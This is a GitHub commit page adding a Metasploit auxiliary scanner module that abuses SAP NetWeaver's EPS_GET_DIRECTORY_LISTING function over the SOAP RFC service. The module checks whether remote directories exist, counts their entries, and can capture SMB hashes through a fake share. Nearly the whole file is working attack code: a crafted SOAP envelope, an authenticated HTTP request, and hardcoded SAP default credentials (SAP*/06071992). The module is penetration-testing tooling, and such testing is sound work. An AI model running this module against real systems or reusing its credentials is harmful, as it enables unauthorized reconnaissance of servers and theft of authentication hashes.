Skip to content

Commit cf05602

Browse files
author
jvazquez-r7
committed
Land rapid7#1661, @nmonkee's sap_soap_rfc_eps_get_directory_listing module
2 parents b18a982 + 53c08cd commit cf05602

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure',
35+
'Description' => %q{
36+
This module abuses the SAP NetWeaver EPS_GET_DIRECTORY_LISTING function, on the
37+
SAP SOAP RFC Service, to check for remote directory existence and get the number
38+
of entries on it. The module can also be used to capture SMB hashes by using a fake
39+
SMB share as DIR.
40+
},
41+
'References' =>
42+
[
43+
[ 'URL', 'http://labs.mwrinfosecurity.com' ]
44+
],
45+
'Author' =>
46+
[
47+
'nmonkee'
48+
],
49+
'License' => MSF_LICENSE
50+
)
51+
52+
register_options([
53+
Opt::RPORT(8000),
54+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
55+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
56+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
57+
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
58+
], self.class)
59+
end
60+
61+
def run_host(ip)
62+
data = '<?xml version="1.0" encoding="utf-8" ?>'
63+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
64+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
65+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
66+
data << '<SOAP-ENV:Header/>'
67+
data << '<SOAP-ENV:Body>'
68+
data << '<EPS_GET_DIRECTORY_LISTING xmlns="urn:sap-com:document:sap:rfc:functions">'
69+
data << '<DIR_NAME>' + datastore['DIR'] + '</DIR_NAME>'
70+
data << '</EPS_GET_DIRECTORY_LISTING>'
71+
data << '</SOAP-ENV:Body>'
72+
data << '</SOAP-ENV:Envelope>'
73+
74+
begin
75+
vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['DIR']}")
76+
res = send_request_cgi({
77+
'uri' => '/sap/bc/soap/rfc',
78+
'method' => 'POST',
79+
'data' => data,
80+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
81+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
82+
'ctype' => 'text/xml; charset=UTF-8',
83+
'headers' => {
84+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
85+
},
86+
'vars_get' => {
87+
'sap-client' => datastore['CLIENT'],
88+
'sap-language' => 'EN'
89+
}
90+
})
91+
if res and res.code == 200 and res.body =~ /EPS_GET_DIRECTORY_LISTING\.Response/ and res.body =~ /<FILE_COUNTER>(\d*)<\/FILE_COUNTER>/
92+
file_count = $1
93+
print_good("#{rhost}:#{rport} - #{file_count} files under #{datastore["DIR"]}")
94+
else
95+
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s) if res
96+
vprint_error("#{rhost}:#{rport} - Error message: " + res.message.to_s) if res
97+
vprint_error("#{rhost}:#{rport} - Error body: " + res.body.to_s) if res and res.body
98+
end
99+
rescue ::Rex::ConnectionError
100+
vprint_error("#{rhost}:#{rport} - Unable to connect")
101+
return
102+
end
103+
end
104+
end

0 commit comments

Comments
 (0)